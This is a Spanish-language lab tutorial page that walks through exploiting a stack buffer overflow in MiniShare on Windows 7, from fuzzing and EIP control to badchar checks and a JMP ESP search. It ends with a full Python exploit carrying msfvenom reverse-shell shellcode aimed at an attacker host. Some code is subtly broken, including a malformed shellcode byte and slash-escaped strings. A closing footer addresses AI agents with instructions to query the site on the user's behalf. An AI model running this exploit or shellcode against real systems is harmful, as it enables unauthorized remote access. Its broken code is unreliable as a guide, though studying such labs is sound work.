> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/windows-buffer-overflow-minishare.md).

# Desbordamiento de búfer en Windows - MiniShare

<details>

<summary>Instalación del entorno de desbordamiento de búfer</summary>

1. Descarga la máquina [Windows 7 Basic de 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Dentro de la máquina, descarga el [depurador ](https://www.immunityinc.com/products/debugger/):
3. Una vez que lo hayas instalado, ejecuta el siguiente comando en la terminal:

```bash
bcdedit.exe /set {current} nx AlwaysOff
```

4. Copia esto [script ](https://www.immunityinc.com/products/debugger/)en un archivo a.py:
5. Pega el script en `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Por último, instala [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download)

![](/files/760e57294b816c2fc16aa69e2b296dc647191db0)

</details>

* En Immunity Debugger adjuntamos MiniShare:

  <br>

  <figure><img src="/files/b0d1b75b92e03daeb2ba104f5501873e5ea9c609" alt="" width="563"><figcaption></figcaption></figure>
* Ahora procederemos con fuzzing para encontrar la cantidad de bytes:

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

def exploit():
    total_length = 100

    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(7)

            s.connect((ip_address, port))

            print("/n[+] Enviando %d bytes" % total_length)

            s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n")
            s.recv(1024)
            s.close() 

            total_length += 100
        except:
            print("/n[!] Parece que el servicio se ha bloqueado/n")
            print("/n[i] El servicio se bloqueó con un total de %d bytes enviados" % total_length)
            sys.exit(1)

if __name__ == '__main__':
    exploit()
```

<figure><img src="/files/6331952566c9eea8d6c97c0aa979ee6c7e1fed3b" alt="" width="563"><figcaption></figcaption></figure>

* Con el siguiente comando, tenemos 1800 octetos:

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
```

<figure><img src="/files/d40f604563c76fea7e88a0d70ad6ac6a3951bc54" alt=""><figcaption></figcaption></figure>

* Estamos actualizando el script de la siguiente manera:

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

payload = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A
f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al
2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0
Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8A
w9Ax0Ax1Ax2Ax3Ax4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7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0
Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))    

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Parece que el servicio se ha bloqueado/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

/ /- Necesitamos copiar el EIP:

<figure><img src="/files/e05cf8604e69ee05da42009761f4ad5083147983" alt="" width="563"><figcaption></figcaption></figure>

* Lo pegamos en el script añadiendo 0x al principio:

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335
```

* Nos indica que esto corresponde a 1787:<br>

  <figure><img src="/files/e20c32499cbfe5c5e08a6031febf976e1d50e644" alt=""><figcaption></figcaption></figure>
* Ahora veamos si tenemos la capacidad de controlar el EIP:<br>

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))
 
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Parece que el servicio se ha bloqueado/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* De hecho logramos controlar el EIP:

<figure><img src="/files/e4c5a7d458756d81855fc60c3e668f1af07d74cb" alt="" width="563"><figcaption></figcaption></figure>

\*Ahora necesitamos encontrar los badchars:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip + b"C"*500 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Parece que el servicio se ha bloqueado/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* Realizamos un monitoreo de “dump” del sistema ESP.

  <br>

  <figure><img src="/files/b457e1c53ffb9ef6b80994d1042e3b15ca22dd7d" alt="" width="563"><figcaption></figcaption></figure>
* Con este comando creamos el archivo bytearray:

```
!mona bytearray -cpb '/x00'
```

<figure><img src="/files/a87afe45240f9052a972c231d8a7033d858d7b29" alt=""><figcaption></figcaption></figure>

* Desde mi máquina atacante, creamos un servidor SMB para transferirnos el archivo:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

<figure><img src="/files/b057a8c3569696fcbc5526924755d8805856bb85" alt=""><figcaption></figcaption></figure>

* Lo transferimos:

  <figure><img src="/files/9f9d43c0476f213f9d9ec420cf117070e0e02ddf" alt=""><figcaption></figcaption></figure>
* Script actualizado:

  ```python
  #!/usr/bin/python3

  from struct import pack
  import socket
  import sys

  ip_address = "192.168.71.139"
  port = 80

  offset = 1787 

  before_eip = b"A"*offset
  eip = b"B"*4

  badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
  b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
  b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
  b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
  b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
  b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
  b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
  b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")

  payload = before_eip + eip + badchars

  def exploit():
      try:
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.settimeout(7)

          s.connect((ip_address, port))
       
          s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
          s.recv(1024)
          s.close() 

      except:
          print("/n[!] Parece que el servicio se ha bloqueado/n")
          sys.exit(1)

  if __name__ == '__main__':
      exploit()
  ```
* Enviamos el contenido del sistema ESP de vuelta al "dump":

<figure><img src="/files/d7e7c500604eac183febe7453a28867075d2e29c" alt=""><figcaption></figcaption></figure>

* El resultado de nuestra comparación:

```
!mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin
```

<figure><img src="/files/f35aadac7435ffb26eccb756cf4faf073457ef96" alt="" width="563"><figcaption></figcaption></figure>

* Sobrescribimos el archivo sin caracteres no deseados y lo eliminamos de nuestro script:

```bash
!mona bytearray -cpb '/x00/x0d'
```

<figure><img src="/files/b5315d315829db3134e1638f45460c0aa5878ba8" alt=""><figcaption></figcaption></figure>

* Y si volvemos a hacer una comparación, ya no hay más badchars:

  <figure><img src="/files/8bf377a0675b5b1d9843a3d61caf5c6332116110" alt=""><figcaption></figcaption></figure>
* Usamos el `!mona modules` comando, obtenemos "false".

<figure><img src="/files/1fa38f1bceb369f344e257f802237c3278c6c15a" alt=""><figcaption></figcaption></figure>

* Si usamos el siguiente comando, en este caso obtendremos un error que indica que no existen punteros:

```
!mona find -s '/xFF/xE4' -m minishare.exe
```

<figure><img src="/files/2fcbab34ec830fff0c9e5a90436c133909780970" alt=""><figcaption></figcaption></figure>

* Usamos este comando como alternativa y encontramos 44, luego seleccionamos uno que no contenga caracteres no deseados:

```
!mona findwild -s "JMP ESP"
```

<figure><img src="/files/fb5a005c6c599597365850a168fe486db60933ee" alt=""><figcaption></figcaption></figure>

* Ahora los valores en el script en la variable EIP con el prefijo "0x" y todo en minúsculas:

<div data-full-width="true"><figure><img src="/files/a66f8795bfcee300434bcb3da644bc3c0798e69c" alt=""><figcaption></figcaption></figure></div>

* Ahora generemos el shellcode para hacer la reverse shell:

```bash
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d' 
```

<figure><img src="/files/852ae86d5d5fa6e0df04827e1a0be906d6090130" alt="" width="563"><figcaption></figcaption></figure>

* Script actualizado:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = pack("<L", 0x7616be7f)

shellcode = (b"/xda/xd9/xd9/x74/x24/xf4/x58/x2b/xc9/xbf/xd3/xb2/xb4/c4"
b"/xb1/x52/x83/xe8/xfc/x31/x78/x13/x03/xab/xa1/x56/x31/xb7"
b"/x2e/x14/xba/x47/xaf/x79/x32/xa2/x9e/xb9/x20/xa7/xb1/x09"
b"/x22/xe5/x3d/xe1/x66/x1d/xb5/x87/xae/x12/x7e/x2d/x89/x1d"
b"/x7f/x1e/xe9/x3c/x03/x5d/x3e/x9e/x3a/xae/x33/xdf/x7b/xd3"
b"/xbe/x8d/xd4/x9f/x6d/x21/x50/xd5/xad/xca/x2a/xfb/xb5/x2f"
b"/xfa/xfa/x94/xfe/x70/xa5/x36/x01/x54/xdd/x7e/x19/xb9/xd8"
b"/xc9/x92/x09/x96/xcb/x72/x40/x57/x67/xbb/x6c/xaa/x79/xfc"
b"/x4b/x55/x0c/xf4/xaf/xe8/x17/xc3/xd2/x36/x9d/xd7/x75/xbc"
b"/x05/x33/x87/x11/xd3/xb0/x8b/xde/x97/x9e/x8f/xe1/x74/x95"
b"/xb4/x6a/x7b/x79/x3d/x28/x58/x5d/x65/xea/xc1/xc4/xc3/x5d"
b"/xfd/x16/xac/x02/x5b/x5d/x41/x56/xd6/x3c/x0e/x9b/xdb/xbe"
b"/xce/xb3/x6c/xcd/xfc/x1c/xc7/x59/x4d/xd4/xc1/x9e/xb2/xcf"
b"/xb6/x30/x4d/xf0/xc6/x19/x8a/xa4/x96/x31/x3b/xc5/x7c/xc1"
b"/xc4/x10/xd2/x91/x6a/xcb/x93/x41/xcb/xbb/x7b/x8b/xc4/xe4"
b"/x9c/xb4/x0e/x8d/x37/x4f/xd9/x72/x6f/x08/x99/x1b/x72/x96"
b"/x98/x60/xfb/x70/xf0/x86/xa2b/x6d/x3e/xf7/xa7/x0c/xbf"
b"/x2d/xc2/x0f/x4b/xc2/x33/xc1/xbc/xaf/x27/xb6/x4c/xfa/x15"
b"/x11/x52/xd0/x31/xfd/xc1/xbf/xc1/x88/xf9/x17/x96/xdd/xcc"
b"/x61/x72/xf0/x77/xd8/x60/x09/xe1/x23/x20/xd6/xd2/xaa/xa9"
b"/x9b/x6f/x89/xb9/x65/x6f/x95/xed/x39/x26/x43/x5b/xfc/x90"
b"/x25/x35/x56/x4e/xec/xd1/x2f/xbc/x2f/xa7/x2f/xe9/xd9/x47"
b"/x81/x44/x9c/x78/x2e/x01/x28/x01/x52/xb1/xd7/xd8/xd6/xd1"
b"/x35/xc8/x22/x7a/xe0/x99/x8e/xe7/x13/x74/xcc/x11/x90/x7c"
b"/xad/xe5/x88/xf5/xa8/xa2/x0e/xe6/xc0/xbb/xfa/x08/x76/xbb"
b"/x2e")

payload = before_eip + eip + b"/x90"*16 + shellcode

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)
        s.connect((ip_address, port))
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 
 
     except:
         print("/n[!] Parece que el servicio se ha bloqueado/n")
         sys.exit(1)
 
 if __name__ == '__main__':
     exploit()
```

* Escuchamos con rlwrap y finalmente obtenemos acceso:

<figure><img src="/files/76eddd54c9ac475580b4b812bf10a4fd96ac60fa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/windows-buffer-overflow-minishare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
